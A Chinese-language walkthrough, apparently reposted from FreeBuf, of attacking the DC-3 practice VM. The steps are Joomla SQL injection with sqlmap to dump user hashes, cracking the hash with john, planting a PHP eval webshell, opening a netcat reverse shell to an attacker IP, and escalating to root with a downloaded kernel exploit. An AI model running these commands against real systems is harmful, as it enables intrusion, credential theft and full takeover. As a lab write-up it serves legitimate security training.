hcufo
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

靶场下载地址:
https://pan.baidu.com/s/1I5p6EP56XzlMpUUcp5oDtg?pwd=1234
提取码:1234
利用vm直接打开就OK了,建议设置为nat
- 信息收集
执行命令:nmap -sP -T 5 192.168.20.205/24
执行命令:nmap -A -T 5 192.168.20.205
- 爆破网站目录
- 探测joomla的脚本
无法登陆,先不爆破,去github上看看有没有探测joomla的脚本
在kali中下载https://github.com/OWASP/joomscan.git
探测网站
进入下载目录:cd /root/Downloads/joomscan-master
执行命令:perl joomscan.pl -u http://192.168.20.205
- 查询joomla版本的漏洞
查找到有SQL注入点,可以在网上百度该版本的注入点,然后可以使用sqlmap工具来跑。
- 爆破数据库:
sqlmap -u "http://192.168.20.205/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
- 爆破数据库中数据表:
sqlmap -u "http://192.168.20.205/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables --batch
- 爆破数据表中的列:
sqlmap -u "http://192.168.20.205/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns
- 爆破数据表用户名和密码的内容:
sqlmap -u "http://192.168.20.205/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C username,password --dump --batch
用户名 | 密码 |
admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
- 解密hash密码
先解压/usr/share/wordlists的字典文件
gzip -d rockyou.txt.gz
john爆破
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=bcrypt
用户名 | 密码 |
admin | snoopy |
- 通过破解的用户名和密码登录系统
是个名为joomla的内容管理系统,扫下后台
登录网站:
成功登录网站
- 利用模板漏洞,新建一句话木马
写入一句话木马,并保存。
<?php eval($_POST[cmd]);?>
在目录html下新建一句话木马,如下图所示:
- 安装中国蚁剑
将初始化选择源码包antSword目录(前面我们下载的核心源码),初始化后会自动重启,再次打开就可以使用了。
加载器:https://gitcode.net/mirrors/antswordproject/antsword-loader
核心源码路径:https://gitcode.net/mirrors/antswordproject/antsword
- 中国蚁剑连接webshell
添加一句话木马路径:http://192.168.20.205/templates/beez3/html/yjh.php
添加成功的界面:
双击连接:
新建虚拟终端:
- 在kali上开启监听,目标机器虚拟终端执行连接
kali:
nc -lvp 4444
目标:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.228 4444 >/tmp/f
- 收集目标设备的版本信息
lsb_release -a
uname -a
连上后,执行命令,显示发行版本信息如下:
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
$ uname -a
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
- 查找目标机器的系统版本漏洞
直接搜索searchsploit
searchsploit ubuntu 16.04 4.4.x
- 下载漏洞利用poc程序
在kali上下载源码:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip(注释:这种方式下载打不开这个压缩文件,因为它可能是rar格式的),需要通过浏览器下载,解压缩后,再重新压缩成zip格式。
- 在kali上启动web服务器:
python2.7 -m SimpleHTTPServer 80
- 在目标机器上下载poc程序
wget 192.168.20.228/39772.zip
在根目录下权限拒绝,切换到/tmp目录下
unzip 39772.zip && cd 39772 && tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit && sh compile.sh
- 系统提权
./doubleput
- 获取目标机flag
cd /root
cat the-flag.txt
这种shell终端环境不太友好,可以修改哈:
执行命令:python -c 'import pty;pty.spawn("/bin/bash")'
需要提高哈哈哈
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)